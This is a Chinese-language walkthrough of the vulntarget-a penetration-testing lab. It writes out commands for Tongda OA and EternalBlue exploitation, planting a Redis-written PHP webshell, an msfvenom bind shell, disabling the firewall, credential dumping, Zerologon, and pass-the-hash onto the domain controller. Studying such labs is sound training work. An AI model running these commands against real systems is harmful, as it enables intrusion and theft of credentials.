jjzjj

vultarget-a红日靶场全面解析(完整版)

问心彡 2023-11-02 原文

简介

vultargeta靶场是星期五实验室公众号发布的自行设计靶场,其中涵盖了WEB渗透、主机漏洞、域漏洞、工控漏洞等等。
此靶场使用

网络结构

其靶场网络结构为

  • kali : 桥接模式
  • win7: 双网卡—桥接模式,卡2仅主机模式
  • win2019: VMnet19仅主机模式
  • win2016: 双网卡— VMnet18仅主机模式 ,VMnet19仅主机模式

win7主机通过NAT与kali机出于同一网段,且通过VMnet18接入内网与win2016VM18网卡进行通信,win2016通过网卡2VM19与DC机进行通信

信息搜集

扫描同一网段下主机ip地址

arp-scan -l

128为本机地址,131为win7主机ip

nmap -sS -sV 192.168.111.131

nmap扫描目标主机.注意:windows防火墙开启状态默认不允许ping检测,而linux默认是支持的,所以使用nmap探测时应使用TCP的SYN进行探测

根据结果可以看出目标主机开启80端口和445端口,访问网站

通过访问目标主机网站,可以发现该靶场使用到了通达OA系统,百度百科上这么写这:

通达OA概述与先进技术,该系统采用领先的B/S(浏览器/服务器)操作方式,使得网络办公不受地域限。 Office Anywhere采用基于WEB的企业计算,主HTTP服务器采用了世界上最先进的Apache服务器,性能稳定可靠。数据存取集中控制,避免了数据泄漏的可能。提供数据备份工具,保护系统数据安全。多级的权限控制,完善的密码验证与登录验证机制更加强了系统安全性。

WIN7漏洞利用

通达OA利用工具+中国蚁剑

上面端口扫描时发现目标机器开启445端口,首先想到利用永恒之蓝漏洞,稍后利用,先使用通达OA工具尝试攻击
点击通达OA工具可以进行下载
为了方便我将该工具源码打包成jar方便kali执行

java -jar TDOA_RCE-master.jar

首先打开通达OA工具后目标地址为靶场对外主机win7的外网ip,获取Cookie按钮后下方栏中会显示通达OA任意用户登录测试得到的Cookie一键利用,工具会自动在http://192.168.1.109/FRSJFIL.php生成木马并提供密码

*******
当前通达OA版本为: 11.3
正在尝试利用任意用户登录漏洞获取Cookie...
poc1利用成功
已自动填充
*******
正在尝试利用本地文件包含漏洞...
利用成功
SHELL如下:
http://192.168.111.131/VPMHKQF.php
密码:x

中国蚁剑直接连接

成功连接

进入命令端

whoami

永恒之蓝漏洞利用

在信息搜集环节,我们是发现被攻击主机开启443端口,所以我会想到利用永恒之蓝漏洞进行一次渗透

  • kali机打开msfconsole
  • use exploit/windows/smb/ms17_010_eternalblue
  • set rhosts 192.168.111.131
  • run


    成功得到通道!并且为system权限
    自动迁移进程,稳固连接
run post/windows/manage/migrate 

输入shell 进入控制台

chcp 65001 修改控制台编码,默认进入shell有些字符会乱码

结果信息可以看出该主机使用两张网卡,其中网卡2接入内网
查看是否存在域情况 net time /domain (同步域的时间,通过该命令返回的结果是否正常执行来判断是否存在域)

报错,该主机并未加入到域中,arp -a查看当前网段内其他主机信息

结果可以看出网卡10.0.20.98网段下有一个10.0.20.99的主机

添加路由表

win7机带有两块网卡,当kali攻击机与win7建立通信后,无法跨网段访问发送数据包到另一块网卡上,所以需要添加路由,指定下一跳的路由为另一块网卡的地址,这样便可以借助win7作跳板机操控服务器

既然已经拿到了system权限的session,那么下一步就需要设置一个路由并配置代理,方便我们从攻击机来访问内网10.0.20.xxx网段的主机

use post/multi/manage/autoroute
set session 1
run

添加后进入session中查看路由添加情况

sessions -i 1   # session会话id可以通过 sessions来查看
run autoroute -p

添加成功,继续添加代理

use auxiliary/server/socks_proxy
options
set version 4a
run
sessions -i

socks_proxy代理版本有4a和5这里我选择的是4a,socks5比4a多支持了一些协议如UDP、IPV6等,4a可以做的5也可以做到,有兴趣网上看看两者区别

jobs #  查看代理列表


修改/etc/proxychains4.conf,最后一行添加

socks4 0.0.0.0 1080

此文件为proxychains的配置文件,要与msf的options配置信息保持一致,否则是无法正常使用proxychains进行代理访问的

内网渗透

在拿到win7shell以后,通过添加路由和代理的方式使访问的请求可以进入内网网段,因为添加了代理socket 4a,通过proxychains可以使不支持代理的软件通过配置的1080端口通过win7添加的路由到内网主机。

proxychains

在linux中很多软件是不支持代理的。proxychains可以让这些软件走上代理通道,支持SOCKETS 4a、SOCKETS 5、HTTP、HTTPS
在linux中,/etc/proxychains4.conf文件中可以配置代理的端口和ip地址,上面配置中在use auxiliary/server/socks_proxy下的options中有一个参数SRVPORT默认端口为1080,ip为0.0.0.0,意味着msf监听来自任意ip1080端口数据,所以需要配置/etc/proxychains4.conf发送的目标端口也为1080,这样可以索引软件数据通过1080端口让msf接受到并转发到内网中

proxychains nmap -Pn -sT 10.0.20.99 -p 80,6379,8080,7001,139,22,23,3389,443,8089,3306,5432,53,67,21,20,25,1433,1512

这里只枚举了一些常用的端口,当然也可以全端口扫描,但是时间很慢,所以就挑选了一些常用端口进行探测


根据探测结果发现目标主机开启了80端口和6379redis服务,使用

proxychains firefox #注意命令不能在root用户下执行,切换到kali


通过proxychains代理打开firefox火狐浏览器尝试访问该网站

成功访问到内网网站,扫一下后台目录

proxychains dirbuster #进行文件扫描


因为通过代理去进行的目录扫描,所以时间会很长,但这里还是成功扫出几个文件

通过代理浏览器访问

php探针,在访问l.php发现了意外的惊喜,将网站的所有信息都呈现出来,包括版本号、phpstudy绝对路径,组件、相关参数等等。了解到网站信息后开始接下来的操作

redis未授权访问

在使用proxychains做端口扫描时发现是开启了6379端口

proxychains redis-cli -h 10.0.20.99


无密码成功登录,那么既然已经有了网站的绝对路径,通过redis向该目录下写文件木马

proxychains redis-cli -h 10.0.20.99
CONFIG SET dir  "C:/phpStudy/PHPTutorial/WWW/"
CONFIG SET dbfilename conf.php
set 1 "<?php @eval($_POST['aa']);?>"
save


成功将文件写进了网站根目录,这个安全配置属实舒服,密码没加还有写文件权限,极度危险,接下来蚁剑进行连接,但是注意因为此时操作内网主机,中国蚁剑是无法直接跨越跳板机连接到内网,需要为中国蚁剑设置代理

  • 代理协议SOCKS4
  • ip:kali主机ip
  • 端口1080

添加 http://10.0.20.99/conf.php,成功连接到内网主机,将其

system权限用户

  • 主机win2016
  • 域名vulntarget.com
  • 网卡两块
  • 另一块网卡ip地址 10.0.10.111
  • DNS地址10.0.10.110

上线win2016

获取win7shell之后,我们为他加了路由和代理,同时有win2016的蚁剑连接,拿win2016的shell,创建正向马,并通过代理监听

msfvenom  -p windows/x64/meterpreter/bind_tcp lport=6666 -f exe > 6666.exe

生成木马以后通过上面的蚁剑连接上传到win2016,并在命令行处执行,由于win2016开启防火墙,win7不能直接访问,所以还要添加一条6666的策略,或者直接关掉防火墙

netsh advfirewall firewall add rule name="bind tcp" protocol=TCP dir=in localport=6666 action=allow
#或者
netsh advfirewall set allprofiles state off #直接关闭防火墙

通过代理启动msf,注意只有通过代理才能使流量正向到内网win2016上,

proxychains msfconsole

 use exploit/multi/handler 
 set payload windows/x64/meterpreter/bind_tcp
 set rhost 10.0.20.99
 run




成功获得shell,且为system用户
kiwi查看账户密码

load kiwi

creds_all



有密码Admin#123

run post/multi/manage/autoroute  #接着创建路由

arp -a 查看内网有无其他主机


这里是看到了10.0.10.110这台主机.因为上面我们是有看到他的根域名是vulntarget.com,查看域控计算机名

net group "domain controllers" /domain


WIN2019,继续枚举域控信息

run post/windows/gather/enum_domain


定位到域控的ip地址,正是10.0.10.110,仅有这么一台,arp -a命令我们已经看到,且计算机名WIN2019,与上一步类似,添加代理,使kali主机能够访问到域控

use auxiliary/server/socks_proxy
set version 4a
set srvport 1081
options
run


在配置文件中最后一行追加

socks4  0.0.0.0 1081 


第一个为kali主机访问代理端口1080将数据发送到win2016主机,第二个其实是在基于1080继续访问代理端口1081来访问域控主机的

CVE-2020-1472利用

CVE-2020-1472影响win server2008r到win2019多个操作系统版本,只需要得到域控的用户名且能够访问到目标域控,漏洞不需要主机在域环境下,原理是通过将目标域控密码置空,根据获取的凭得到域管理员的权限。
因为拿到的是域成员,提权域控有几种常见方法,废话不多说,直接使用CVE-2020-1472,准备两个工具包:

git clone https://github.com/dirkjanm/CVE-2020-1472.git
git clone https://github.com/SecureAuthCorp/impacket.git

下载完成后,利用用cve-2020-1472漏洞将域控密码置空

proxychains4 python3 cve-2020-1472-exploit.py WIN2019 10.0.10.110


使用secretsdump.py尝试获取administrator域控的hash值,此文件在impacket/examples目录下

proxychains4 python3 secretsdump.py  vulntarget.com/WIN2019\$@10.0.10.110  -just-dc  -no-pass


成功获取

Administrator:500:aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15:::

相同目录下使用smbexec.py拿域控shell

proxychains python3 smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15 administrator@10.0.10.110


成功,权限为system,开启远程桌面端口,防火墙放行3389

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow


成功搞定,还有少了一步,破解域控密码,远程登录需要的密码,我们已经掌握了hash值,通过john工具破开

将hash值放入文件中

搞定

远程连接

proxychains rdesktop 10.0.10.110
用户名: VULNTARGET\Administrator
密码: Admin@666

激动地心颤抖的手


完成!!!如果需要shell可以上传木马程序到域控,通过msf监听

总结

这是一次完全的渗透过程,从对外开放的主机开放的通达OA系统漏洞和永恒之蓝漏洞进入第一层主机,并利用其作为跳板机,渗透第二层存在有redis未授权访问的漏洞,在根据添加路由和代理的方式成功拿到最高权限的shell,最终攻击到域控,从web渗透,到横向渗透最后到掌握域控,中间出现过很多的问题,比如通道死机,无法连接,木马程序停止在目标机运行等状况,是一次很好的体验

有关vultarget-a红日靶场全面解析(完整版)的更多相关文章

  1. Ruby 解析字符串 - 2

    我有一个字符串input="maybe(thisis|thatwas)some((nice|ugly)(day|night)|(strange(weather|time)))"Ruby中解析该字符串的最佳方法是什么?我的意思是脚本应该能够像这样构建句子:maybethisissomeuglynightmaybethatwassomenicenightmaybethiswassomestrangetime等等,你明白了......我应该一个字符一个字符地读取字符串并构建一个带有堆栈的状态机来存储括号值以供以后计算,还是有更好的方法?也许为此目的准备了一个开箱即用的库?

  2. ruby - 解析 RDFa、微数据等的最佳方式是什么,使用统一的模式/词汇(例如 schema.org)存储和显示信息 - 2

    我主要使用Ruby来执行此操作,但到目前为止我的攻击计划如下:使用gemsrdf、rdf-rdfa和rdf-microdata或mida来解析给定任何URI的数据。我认为最好映射到像schema.org这样的统一模式,例如使用这个yaml文件,它试图描述数据词汇表和opengraph到schema.org之间的转换:#SchemaXtoschema.orgconversion#data-vocabularyDV:name:namestreet-address:streetAddressregion:addressRegionlocality:addressLocalityphoto:i

  3. ruby - 用逗号、双引号和编码解析 csv - 2

    我正在使用ruby​​1.9解析以下带有MacRoman字符的csv文件#encoding:ISO-8859-1#csv_parse.csvName,main-dialogue"Marceu","Giveittohimóhe,hiswife."我做了以下解析。require'csv'input_string=File.read("../csv_parse.rb").force_encoding("ISO-8859-1").encode("UTF-8")#=>"Name,main-dialogue\r\n\"Marceu\",\"Giveittohim\x97he,hiswife.\"\

  4. ruby-on-rails - 我更新了 ruby​​ gems,现在到处都收到解析树错误和弃用警告! - 2

    简而言之错误:NOTE:Gem::SourceIndex#add_specisdeprecated,useSpecification.add_spec.Itwillberemovedonorafter2011-11-01.Gem::SourceIndex#add_speccalledfrom/opt/local/lib/ruby/site_ruby/1.8/rubygems/source_index.rb:91./opt/local/lib/ruby/gems/1.8/gems/rails-2.3.8/lib/rails/gem_dependency.rb:275:in`==':und

  5. 世界前沿3D开发引擎HOOPS全面讲解——集3D数据读取、3D图形渲染、3D数据发布于一体的全新3D应用开发工具 - 2

    无论您是想搭建桌面端、WEB端或者移动端APP应用,HOOPSPlatform组件都可以为您提供弹性的3D集成架构,同时,由工业领域3D技术专家组成的HOOPS技术团队也能为您提供技术支持服务。如果您的客户期望有一种在多个平台(桌面/WEB/APP,而且某些客户端是“瘦”客户端)快速、方便地将数据接入到3D应用系统的解决方案,并且当访问数据时,在各个平台上的性能和用户体验保持一致,HOOPSPlatform将帮助您完成。利用HOOPSPlatform,您可以开发在任何环境下的3D基础应用架构。HOOPSPlatform可以帮您打造3D创新型产品,HOOPSSDK包含的技术有:快速且准确的CAD

  6. ruby - 用 YAML.load 解析 json 安全吗? - 2

    我正在使用ruby2.1.0我有一个json文件。例如:test.json{"item":[{"apple":1},{"banana":2}]}用YAML.load加载这个文件安全吗?YAML.load(File.read('test.json'))我正在尝试加载一个json或yaml格式的文件。 最佳答案 YAML可以加载JSONYAML.load('{"something":"test","other":4}')=>{"something"=>"test","other"=>4}JSON将无法加载YAML。JSON.load("

  7. ruby - 如何使用 Nokogiri 解析纯 HTML 表格? - 2

    我想用Nokogiri解析HTML页面。页面的一部分有一个表,它没有使用任何特定的ID。是否可以提取如下内容:Today,3,455,34Today,1,1300,3664Today,10,100000,3444,Yesterday,3454,5656,3Yesterday,3545,1000,10Yesterday,3411,36223,15来自这个HTML:TodayYesterdayQntySizeLengthLengthSizeQnty345534345456563113003664354510001010100000344434113622315

  8. python - 帮我找到合适的 ruby​​/python 解析器生成器 - 2

    我使用的第一个解析器生成器是Parse::RecDescent,它的指南/教程很棒,但它最有用的功能是它的调试工具,特别是tracing功能(通过将$RD_TRACE设置为1来激活)。我正在寻找可以帮助您调试其规则的解析器生成器。问题是,它必须用python或ruby​​编写,并且具有详细模式/跟踪模式或非常有用的调试技术。有人知道这样的解析器生成器吗?编辑:当我说调试时,我并不是指调试python或ruby​​。我指的是调试解析器生成器,查看它在每一步都在做什么,查看它正在读取的每个字符,它试图匹配的规则。希望你明白这一点。赏金编辑:要赢得赏金,请展示一个解析器生成器框架,并说明它的

  9. ruby - 如何用 Nokogiri 解析连续的标签? - 2

    我有这样的HTML代码:Label1Value1Label2Value2...我的代码不起作用。doc.css("first").eachdo|item|label=item.css("dt")value=item.css("dd")end显示所有首先标记,然后标记标签,我需要“标签:值” 最佳答案 首先,您的HTML应该有和中的元素:Label1Value1Label2Value2...但这不会改变您解析它的方式。你想找到s并遍历它们,然后在每个你可以使用next_element得到;像这样:doc=Nokogiri::HTML(

  10. ruby-on-rails - 如何在 Rails 3 中禁用 XML 解析 - 2

    我想禁用HTTP参数的自动XML解析。但我发现命令仅适用于Rails2.x,它们都不适用于3.0:config.action_controller.param_parsers.deleteMime::XML(application.rb)ActionController::Base.param_parsers.deleteMime::XMLRails3.0中的等价物是什么? 最佳答案 根据CVE-2013-0156的最新安全公告你可以将它用于Rails3.0。3.1和3.2ActionDispatch::ParamsParser::

随机推荐